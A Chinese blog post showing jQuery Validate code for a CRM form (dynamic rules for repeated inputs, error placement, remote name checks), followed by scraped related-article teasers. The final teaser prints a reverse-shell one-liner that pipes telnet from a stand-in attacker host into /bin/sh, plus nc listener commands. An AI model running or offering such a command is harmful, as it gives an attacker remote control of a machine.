JQuery Validate验证显示错误提示位置
验证多个Name值相同的元素:
$(".send").click(function () {
var a = 0;
var b = 0;
var c = 0;
var d = 0;
//重置name值
$("input[name^='ContactName']").each(
function () {
$(this).attr('name', 'ContactName[' + a + ']');
a++;
})
$("input[name^='ContactTel']").each(
function () {
$(this).attr('name', 'ContactTel[' + b + ']');
b++;
})
$("input[name^='Position']").each(
function () {
$(this).attr('name', 'Position[' + c + ']');
c++;
})
$("input[name^='Email']").each(
function () {
$(this).attr('name', 'Email[' + d + ']');
d++;
})
$("input[name^='ContactName']").each(
function () {
$(this).rules("add", { required: true, messages: { required: "请填写联系人" },});
$(this).rules("add", { maxlength: 50, messages: { maxlength: "联系人最大长度不能大于50" }, });
})
$("input[name^='ContactTel']").each(
function () {
$(this).rules("add", { required: true, messages: { required: "请填写联系方式" }, });
$(this).rules("add", { maxlength: 50, messages: { maxlength: "联系人最大长度不能大于50" } });
$(this).rules("add", { PhoneCheck: true, messages: { PhoneCheck: "请正确填写您的联系方式" } });
})
$("input[name^='Position']").each(
function () {
$(this).rules("add", { required: true, messages: { required: "请填写职务" }, });
})
$("input[name^='Email']").each(
function () {
$(this).rules("add", { MailCheck: true, messages: { MailCheck: "请填写正确的邮件格式" }, });
//$(this).rules("add", { required: true, messages: { required: "请填写联系邮箱" }, });
})
$("#mainform").submit();
$(this).attr('disabled', true);
if (!$("#mainform").valid()) {
$(this).attr('disabled', false);
}
})
})
显示元素位置:
1 $("#mainform").validate({
errorPlacement: function (error, element) {
if (element.parent().hasClass("input-group")) {
element.parent().after(error);
}
else
element.after(error)
},
errorPlacement: function (error, element) {
error.appendTo(element.parent()); //直接把错误信息加在验证元素后··
},
rules: {
CustomerName: {
required: true,
maxlength: 50,
remote: {
url: '/crm/Customer/CheckCustomName',
type: 'Post',
data: {
CustomerName: function () { return $("#CustomerName").val() },
id: function ()
{
if ($("#Id").val() == undefined) {
return 0;
} else {
return $("#Id").val();
}
}
}
}
},
OwnerId: {
required:true
},
CustomerType:{
required:true
},
Address:{
required: true,
maxlength: 100
},
IndustryId: {
required: true
},
Capital: {
number: true,
min: 0.001,
maxlength: 8
}
},
messages: {
CustomerName: {
required: '请输入客户名称',
maxlength: '客户名称最大长度为50',
remote:'客户名称不能重复'
},
CustomerType: {
required: '请选择客户类型'
},
Address: {
required: '请输入地址',
maxlength: '客户名称最大长度为50'
},
OwnerId: {
required: '请选择对接人'
},
IndustryId: {
required: '请选择行业'
},
Capital: {
number: '注册资金必须为数字',
min: '注册资金最小为0.001万元',
maxlength:'注册资金最长单位为8位'
}
}
});
JQuery Validate验证显示错误提示位置的更多相关文章
- jQuery Validate验证框架详解
转自:http://www.cnblogs.com/linjiqin/p/3431835.html jQuery校验官网地址:http://bassistance.de/jquery-plugins/ ...
- 【转】jQuery Validate验证框架详解
jQuery校验官网地址:http://bassistance.de/jquery-plugins/jquery-plugin-validation 一.导入js库 <script type=& ...
- jQuery Validate验证框架详解(转)
jQuery校验官网地址:http://bassistance.de/jquery-plugins/jquery-plugin-validation 一.导入js库 <script type=& ...
- JQuery validate验证规则
//定义中文消息 var cnmsg = { required: “必选字段”, remote: “请修正该字段”, email: “请输入正确格式的电子邮件”, url: “请输入合法的网址”, d ...
- jQuery Validate验证框架与 jQuery ajaxSubmit的联合使用
jQuery Validate验证框架自定义验证 第一步导入导入js库 <script src="<%=basePath%>static/js/jquery.js" ...
- jQuery Validate验证框架详解(jquery.validate.min.js)
原博客 jQuery Validate验证框架详解 jQuery校验官网地址:https://jqueryvalidation.org/ 一.导入js库 <script type="t ...
- 弹出框页面中使用jquery.validate验证控件
弹出框页面中使用jquery.validate验证控件有几个问题需要解决: 1,弹出框的提交事件完成后如何关闭弹出框页面? 2,提交不成功如何返回当前页? 3,如果知道验证事件成功? 之前笔者都是JS ...
- jQuery.Validate 验证,以及 remote验证, 多参数传递
jQuery.Validate 验证: http://www.runoob.com/jquery/jquery-plugin-validate.html 教程网址,很简单, 今天主要在这里记录一下re ...
- jquery.validate验证表单配合回调提交和h5.storage本地保存笔记
表单验证插件我使用:jquery.validate.js 支持中文提示,可扩展性强!教程地址 本地保存状态信息使用:h5提供的storage,浏览器支持5m的存储量,存储类型必须是string类型,并 ...
随机推荐
- mysqldump常用参数
mysqldump常用参数说明 --all-databases 或 -A 导出全部数据库.--all-tablespaces 或 -Y 导出全部表空间--no-tablespaces 或 -y ...
- cocos2dx libcurl
转自:http://www.himigame.com/curl-libcurl/878.html 本篇介绍使用libcurl编程的一般原则和一些基本方法.本文主要是介绍 c 语言的调用接口,同时也可能 ...
- PostQuitMessage, PostThreadMessage( WM_QUIT )
http://blogs.msdn.com/b/oldnewthing/archive/2005/11/04/489028.aspx Why is there a special PostQuitMe ...
- IE兼容CSS3圆角border-radius的方法(同时兼容box-shadow,text-shadow)
IE兼容CSS3圆角border-radius,box-shadow,text-shadow的方法 1.下载ie-css3.htc 2.CSS box { -moz-border-radius: 15 ...
- 广州项目实施步骤I_练习安装 CentOS x64 6.4
安装Centos x64 6.4 在家里使用 Vmware10.0.1进行模拟安装. 永久KEY注册密钥:5F29M-48312-8ZDF9-A8A5K-2AM0Z 下载地址:http://pan. ...
- 企业应用架构模式阅读笔记 - Martin Fowler
1. 数据读取
- UVALive 4221 Walk in the Park 扫描线
Walk in the Park 题目连接: https://icpcarchive.ecs.baylor.edu/index.php?option=com_onlinejudge&Itemi ...
- HDU 5583 Kingdom of Black and White 水题
Kingdom of Black and White Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://acm.hdu.edu.cn/showpr ...
- Java对证书的操作
1 Java程序从证书文件读取证书 import java.io.*; import java.security.cert.*; public class PrintCert{ public stat ...
- 反向telnet连接
首先使用nc工具进行监听: nc -l -n -v -p 80 nv -l -n -v -p 25 然后: /bin/telnet evil_hackers_ip 80 | /bin/sh | /bi ...